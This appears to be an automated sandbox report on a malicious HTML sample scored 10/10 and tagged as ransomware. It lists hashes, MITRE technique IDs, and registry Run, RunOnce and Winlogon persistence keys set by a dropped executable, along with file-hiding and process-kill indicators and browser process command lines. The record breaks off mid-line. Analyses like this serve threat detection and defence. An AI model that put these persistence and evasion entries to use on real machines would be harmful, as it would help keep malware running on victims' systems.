f87e9240f4f15f3453b080145571acd6599bc35b208de3c70daf7e34710b87fa

Resubmissions

05/09/2026, 16:15

260905-tqflsavxdv

05/09/2026, 16:08

260905-tk815sxgrd10

05/09/2026, 16:05

260905-tjnntaeq613

Analysis

user interaction
yes
max time kernel
157s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
05/09/2026, 16:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
verify-ua.html
Size 10KB
Sample260905-tk815sxgrd
SHA256 f87e9240f4f15f3453b080145571acd6599bc35b208de3c70daf7e34710b87fa
MD5 22d064d1c845b920f9c1ca4ffd0f3886
SHA1 86933840eef9cc783401be592ba66a05a98954c8
SHA512 88e1678576f4c5ec02f15913b5bae2983fe9a82ed981e023e1fdfd98b0a33107532fc3469d1abd663400577397076f1dac71a72c0203ad6d7dba050f497e8fbd
SSDEEP 192:xOtshmAGB28E3PQLJirpoqc6487A0CGKsW:p6/HIrXc6d00rKl
TLSH
T11C22B42098F1127B454AC4CD6A78B719FDC3D04BDB46A129B1BD43982FE7F928847E5C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery persistence ransomware

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "\"C:\\Users\\Admin\\Desktop\\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe\""	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe

Executes dropped EXE 6 IoCs

pid	Process
4040	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
4328	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
724	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
4080	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
4408	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
4344	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe

Adds Run key to start application 2 TTPs 13 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\System3264Wow = "\"C:\\Users\\Admin\\Desktop\\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe\" --init"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\OneDrive10293 = "\"C:\\Users\\Admin\\Desktop\\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe\" /setup"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\Desktop\\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe\" -startup"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\Desktop\\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe\""	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\WINDOWS = "\"C:\\Users\\Admin\\Desktop\\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe\" --wininit"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe

Drops desktop.ini file(s) 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4884	cmd.exe
3936	cmd.exe
116	cmd.exe
640	cmd.exe
2472	cmd.exe
4644	cmd.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2916	msedge.exe
3748	chrome.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
1592	taskkill.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134330980985454532"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1788976790-1541110888-1636651838-1000\{7BF4E60E-37A8-4B82-A439-171C720AB3D9}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1788976790-1541110888-1636651838-1000\{AB1E21BC-1231-4287-ADFA-B53633F09BE5}	chrome.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
4560	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
4040	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe
Token: SeShutdownPrivilege	1480	chrome.exe
Token: SeCreatePagefilePrivilege	1480	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
3772	msedge.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe
1480	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3772 wrote to memory of 3620	3772	msedge.exe	84
PID 3772 wrote to memory of 4844	3772	msedge.exe	85
PID 3772 wrote to memory of 2916	3772	msedge.exe	86
PID 3772 wrote to memory of 4844	3772	msedge.exe	85
PID 3772 wrote to memory of 4844	3772	msedge.exe	85
PID 3772 wrote to memory of 4220	3772	msedge.exe	87
PID 3772 wrote to memory of 4220	3772	msedge.exe	87
PID 3772 wrote to memory of 2276	3772	msedge.exe	88
PID 3772 wrote to memory of 2212	3772	msedge.exe	89
PID 3772 wrote to memory of 2276	3772	msedge.exe	88
PID 3772 wrote to memory of 2276	3772	msedge.exe	88
PID 3772 wrote to memory of 2212	3772	msedge.exe	89
PID 3772 wrote to memory of 2212	3772	msedge.exe	89
PID 3772 wrote to memory of 4960	3772	msedge.exe	90
PID 3772 wrote to memory of 2040	3772	msedge.exe	91
PID 3772 wrote to memory of 4960	3772	msedge.exe	90
PID 3772 wrote to memory of 4960	3772	msedge.exe	90
PID 3772 wrote to memory of 2040	3772	msedge.exe	91
PID 3772 wrote to memory of 2040	3772	msedge.exe	91
PID 3772 wrote to memory of 2292	3772	msedge.exe	95
PID 3772 wrote to memory of 2292	3772	msedge.exe	95
PID 3772 wrote to memory of 2292	3772	msedge.exe	95
PID 3772 wrote to memory of 2704	3772	msedge.exe	98
PID 3772 wrote to memory of 2704	3772	msedge.exe	98
PID 3772 wrote to memory of 4808	3772	msedge.exe	99
PID 3772 wrote to memory of 4808	3772	msedge.exe	99
PID 3772 wrote to memory of 2604	3772	msedge.exe	101
PID 1480 wrote to memory of 2276	1480	chrome.exe	104
PID 1480 wrote to memory of 3748	1480	chrome.exe	105
PID 1480 wrote to memory of 2096	1480	chrome.exe	106
PID 1480 wrote to memory of 2096	1480	chrome.exe	106
PID 1480 wrote to memory of 4160	1480	chrome.exe	107
PID 1480 wrote to memory of 4160	1480	chrome.exe	107
PID 1480 wrote to memory of 3336	1480	chrome.exe	108
PID 1480 wrote to memory of 3336	1480	chrome.exe	108
PID 1480 wrote to memory of 3776	1480	chrome.exe	109
PID 1480 wrote to memory of 3776	1480	chrome.exe	109
PID 1480 wrote to memory of 2892	1480	chrome.exe	111
PID 1480 wrote to memory of 2892	1480	chrome.exe	111
PID 1480 wrote to memory of 4924	1480	chrome.exe	113
PID 1480 wrote to memory of 4924	1480	chrome.exe	113
PID 1480 wrote to memory of 3916	1480	chrome.exe	114
PID 1480 wrote to memory of 5004	1480	chrome.exe	117
PID 1480 wrote to memory of 5004	1480	chrome.exe	117
PID 1480 wrote to memory of 376	1480	chrome.exe	118
PID 1480 wrote to memory of 376	1480	chrome.exe	118
PID 1480 wrote to memory of 4712	1480	chrome.exe	121
PID 1480 wrote to memory of 4892	1480	chrome.exe	122
PID 1480 wrote to memory of 4064	1480	chrome.exe	123
PID 1480 wrote to memory of 2804	1480	chrome.exe	124
PID 1480 wrote to memory of 2804	1480	chrome.exe	124
PID 1480 wrote to memory of 1080	1480	chrome.exe	132
PID 1480 wrote to memory of 1080	1480	chrome.exe	132
PID 1480 wrote to memory of 3744	1480	chrome.exe	133
PID 1480 wrote to memory of 3172	1480	chrome.exe	134
PID 1480 wrote to memory of 3172	1480	chrome.exe	134
PID 1480 wrote to memory of 4844	1480	chrome.exe	136
PID 4040 wrote to memory of 3936	4040	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	144
PID 4040 wrote to memory of 4884	4040	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	145
PID 4040 wrote to memory of 4644	4040	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	146
PID 4040 wrote to memory of 2472	4040	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	147
PID 4040 wrote to memory of 640	4040	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	148
PID 4040 wrote to memory of 116	4040	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	149
PID 4040 wrote to memory of 1592	4040	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	150

Views/modifies file attributes 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4380	attrib.exe
3508	attrib.exe
808	attrib.exe
4172	attrib.exe
2700	attrib.exe
4860	attrib.exe
1464	attrib.exe
4132	attrib.exe
1260	attrib.exe
3312	attrib.exe
4320	attrib.exe
3224	attrib.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument C:\Users\Admin\AppData\Local\Temp\verify-ua.html
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3772
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x24c,0x7ffa9aebc188,0x7ffa9aebc194,0x7ffa9aebc1a0
  2⤵
  PID:3620
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1804,i,3186592878030618000,7669930989072181742,262144 --field-trial-handle=2244,i,5337796672058855731,1875137632596290092,262144 --variations-seed-version --mojo-platform-channel-handle=2232 /prefetch:2
  2⤵
  PID:4844
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1976,i,4334815316067244529,3919149217201364848,524288 --field-trial-handle=2244,i,5337796672058855731,1875137632596290092,262144 --variations-seed-version --mojo-platform-channel-handle=2320 /prefetch:3
  2⤵
  - System Time Discovery
  PID:2916
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2540,i,7450158767259292799,8518022176635979262,524288 --field-trial-handle=2244,i,5337796672058855731,1875137632596290092,262144 --variations-seed-version --mojo-platform-channel-handle=2556 /prefetch:8
  2⤵
  PID:4220
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3404,i,14431015163769621308,790695057303768647,2097152 --field-trial-handle=2244,i,5337796672058855731,1875137632596290092,262144 --variations-seed-version --mojo-platform-channel-handle=3480 /prefetch:1
  2⤵
  PID:2276
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3408,i,8657216851484331918,6534781212451700972,2097152 --field-trial-handle=2244,i,5337796672058855731,1875137632596290092,262144 --variations-seed-version --mojo-platform-channel-handle=3484 /prefetch:1
  2⤵
  PID:2212
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4232,i,89108077913589895,12309877203079418822,2097152 --field-trial-handle=2244,i,5337796672058855731,1875137632596290092,262144 --variations-seed-version --mojo-platform-channel-handle=4212 /prefetch:1
  2⤵
  PID:4960
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4248,i,13004435320355741288,10778182423930657752,2097152 --field-trial-handle=2244,i,5337796672058855731,1875137632596290092,262144 --variations-seed-version --mojo-platform-channel-handle=4216 /prefetch:2
  2⤵
  PID:2040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=5092,i,11900583712171138345,2546373355289295859,2097152 --field-trial-handle=2244,i,5337796672058855731,1875137632596290092,262144 --variations-seed-version --mojo-platform-channel-handle=5068 /prefetch:1
  2⤵
  PID:2292
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5248,i,12801886179249446975,5616012447175120835,524288 --field-trial-handle=2244,i,5337796672058855731,1875137632596290092,262144 --variations-seed-version --mojo-platform-channel-handle=5176 /prefetch:8
  2⤵
  PID:2704
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5244,i,12223881965636255525,4147046249214522148,524288 --field-trial-handle=2244,i,5337796672058855731,1875137632596290092,262144 --variations-seed-version --mojo-platform-channel-handle=5336 /prefetch:8
  2⤵
  PID:4808
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5320,i,7178550231099845113,94806928895858235,524288 --field-trial-handle=2244,i,5337796672058855731,1875137632596290092,262144 --variations-seed-version --mojo-platform-channel-handle=6056 /prefetch:8
  2⤵
  PID:2700
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
